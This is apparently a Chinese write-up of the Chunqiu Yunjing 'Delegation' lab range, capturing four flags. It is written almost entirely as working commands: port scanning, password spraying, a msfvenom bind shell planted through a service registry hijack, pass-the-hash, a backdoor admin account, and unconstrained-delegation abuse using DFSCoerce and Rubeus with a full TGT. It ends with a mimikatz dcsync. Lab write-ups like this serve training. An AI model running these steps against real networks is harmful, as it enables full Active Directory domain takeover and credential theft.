【内网渗透】最保姆级的春秋云镜Delegation打靶笔记

目录

flag1

flag2 

flag3 

flag4 

---

flag1

./fscan -h 39.101.135.65 -p 1-65535

访问web，cmseasy 

访问./admin后弱口令admin/123456登录后台

 打现成的EXP：CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞 | jdr

 连蚁剑

suid提权读flag1

find / -perm -u=s -type f 2>/dev/null
diff --line-format=%L /dev/null /home/flag/flag01.txt

 给到hint，明显是一个域用户

WIN19\Adrian

flag2 

蚁剑上传fscan和frp，扫内网，搭隧道

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.4.7      is alive
(icmp) Target 172.22.4.36     is alive
(icmp) Target 172.22.4.19     is alive
(icmp) Target 172.22.4.45     is alive
[*] Icmp alive hosts len is: 4
172.22.4.45:139 open
172.22.4.19:139 open
172.22.4.7:139 open
172.22.4.45:135 open
172.22.4.19:135 open
172.22.4.7:135 open
172.22.4.36:21 open
172.22.4.45:80 open
172.22.4.36:80 open
172.22.4.36:22 open
172.22.4.19:445 open
172.22.4.7:445 open
172.22.4.45:445 open
172.22.4.36:3306 open
172.22.4.7:88 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo 
[*]172.22.4.45
   [->]WIN19
   [->]172.22.4.45
[*] NetInfo 
[*]172.22.4.7
   [->]DC01
   [->]172.22.4.7
[*] NetInfo 
[*]172.22.4.19
   [->]FILESERVER
   [->]172.22.4.19
[*] NetBios 172.22.4.45     XIAORANG\WIN19                
[*] OsInfo 172.22.4.7	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.4.7      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.4.19     FILESERVER.xiaorang.lab             Windows Server 2016 Standard 14393
[*] WebTitle http://172.22.4.45        code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.4.36        code:200 len:68100  title:中文网页标题

 结合提示WIN19\Adrian，去打172.22.4.45 ，密码喷洒得到babygirl1这个过期的密码

proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19

可以rdp连上去改密码

proxychains4 rdesktop 172.22.4.45 -r disk:share=/home/kali/Desktop/tmp

 先输一遍原账密，再修改登录

直接读flag2没有权限

找到一个风险文件，大意是可以对 gupdate 服务的注册表项进行广泛的修改，包括更改配置、删除和创建新的配置项等。 

msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -f exe > exp.exe

用kali分享来上传文件

 修改注册表路径并启动进程

reg add HKLM\SYSTEM\CurrentControlSet\Services\gupdate /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\exp.exe"

sc start gupdate

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 172.22.4.45
set LPORT 1337
exploit

ps选一个SYSTEM权限做migrate进程迁移

cat  /users/administrator/flag/flag02.txt

flag3 

hashdump

 Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::

打administrato的pth

proxychains4 python psexec.py administrator@172.22.4.45 -hashes "aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab" -codec gbk

创建一个administrator权限用户

net user Z3r4y 0x401@admin /add
net localgroup administrators Z3r4y /add

 再rdp连上去(方便管理员身份运行传上去的工具)

proxychains4 rdesktop 172.22.4.45 -u Z3r4y -d WIN19 -p '0x401@admin' -r disk:share=/home/kali/Desktop/tmp

msf抓一下哈希 

load kiwi
creds_all

 

查看域内委派关系 

proxychains4 python findDelegation.py xiaorang.lab/'WIN19$' -hashes :5943c35371c96f19bda7b8e67d041727 -dc-ip 172.22.4.7

存在一个非约束委派 

先让WIN19监听

C:\Users\Z3r4y\Desktop\Rubeus4.0.exe monitor /interval:1 /filteruser:DC01$ > C:\Users\Z3r4y\Desktop\hash.txt

再利用强认证漏洞强制DC访问WIN19，拿到其TGT票据 

proxychains4 python dfscoerce.py -u "WIN19$" -hashes :dd5b235421f0f6dbdb25a4c6340c5d12 -d xiaorang.lab WIN19 172.22.4.7

 

然后导入票据 

C:\Users\Z3r4y\Desktop\Rubeus4.0.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD6g3j9BWWyCBtzW9N+e2YA4NHLkKKmEtGl2Rw2gvVY41joyg1+9uFfFS2WSwfaElvuPlj4Om2FIDeKt6iylall0pDNtFOiQWeITkNwV3HUJsp+aibhLEg7vSIOdCdwCzPiOR2Da56gTGl59lRUG3gSF2/39AkgjiASVb6m3nyxb1/UixFH6IKzAbVT90Y6AZxHi+I6Z9hwhOAVodcxSSzQxvl1FroQCV66qgC8BqejYtL+KHZ/EAtfZ7gii8K0cqGy70I+Fsffn+WZaE2WtJC2MweQPtixsU3pD9KraBDRQoCmiGmFTMdftaqglApUHyoAx0M30wlIboTPR5V8KKMBwfcm/Id/9WQoe7hI6NtrAk/NpYZHHvMH86a5ckQLHhiyZleEaR4gi6ylBCwF/1tUb88yfXaPHKdN6Ww2+GrcG3medDVUtF8PFOxlMWdxThjcFEnt0Q3LPb2ah4YAM8CbspgTPPRQ/PCVQTy0lllmHT2gJjUzvZFl5mYuaXxQywgv0UEwXyvbBXTy2otaGsNHozVyHY5FLA27q/wJORokp6l4A7o2d4Ndzibdr74kFFDu6E1z06UpDExyX/KEGvVOtp918Yy0Masw3zC40o7hSZDKVNmXx1UmGm6ofytW5yPZNGGfXiEIqqk9JgS1EE1Y4VmCL0VXibIcVCN8Kb4X2qDwiDlSxTV+s+w0S+IYTcphvohdrleWfNEUXViJoegBPsGjTVwbEQGNn2rVOsvOF+DSjS8Lzp+lbcDboXwjTsFGM0eOemgXap1z+M4K8XAqp40Vg8UojV/YTfODC3sxJjlQ4fX28kFewMZiIuxJauXhWYzIq7GxDGk2RXO4rw8Nqu7Z558rvvE1li8nNWJ8onf96Fd/8rWgsNbwXf6IdURaw+k0HHOlNfWQVb8gcrQKhZtm3QnvQOIBUMRM6oHxA72EVl+gFKcKxYlQfhcZ2eKecbYFJWpbcWvlGFGXLe/Ajk345TUQZA39st/wXa34e1tOWbztxZsDrHtKjgoyE9o85UI/MKRRqhBG5s/3EpzALy1+jvXesNHe6zELN8TL4bsX/IASWm2BAj3z6cKRFOBqtJCH+q9ROWAa8rH7tgl/gWt1TT/F2YIHujBK6w7sCC4Rm/410xRBxtpllfO9mNZfBscxs2li9EBu4uM56Ql6ecOpijvD4AsBZ7uTlq+PJfLlAZ7EOq10pX7Kfl5bhSnAruBise1oQRSwydivheyGs/nqo3C0PebXY4oRw+qiffZV7eGylBGYDuiN41VUJLiznGAkAgBwm5znKlnffW1Nk0DyQ81airBLVX9GfH68mHjEReOyYe82t8MRBX3fpR/WNNfBW88HOZWySRsZtmR3+20lgrFE/ZXux8S4USr9zjoSAQDRsSj4fepKFriuTLVEANMuRPpeQ2eRgtgOnWGEjMhrPJ+F8l7jocwEWFImjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCDrKLK96jdRiyRvxBM1L+fJbrGc15bGbmZnwVT9jkJeHqEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI0MDkwMjEzMzYyNlqmERgPMjAyNDA5MDIyMzM2MjZapxEYDzIwMjQwOTA5MTMzNjI2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==

猕猴桃抓一下哈希 

lsadump::dcsync /domain:xiaorang.lab /all /csv

 

pth 

proxychains4 impacket-smbexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.19 -codec gbk

 读flag3

type c:\users\Administrator\flag\flag04.txt

flag4 

proxychains4 impacket-smbexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.7 -codec gbk

type c:\users\Administrator\flag\flag04.txt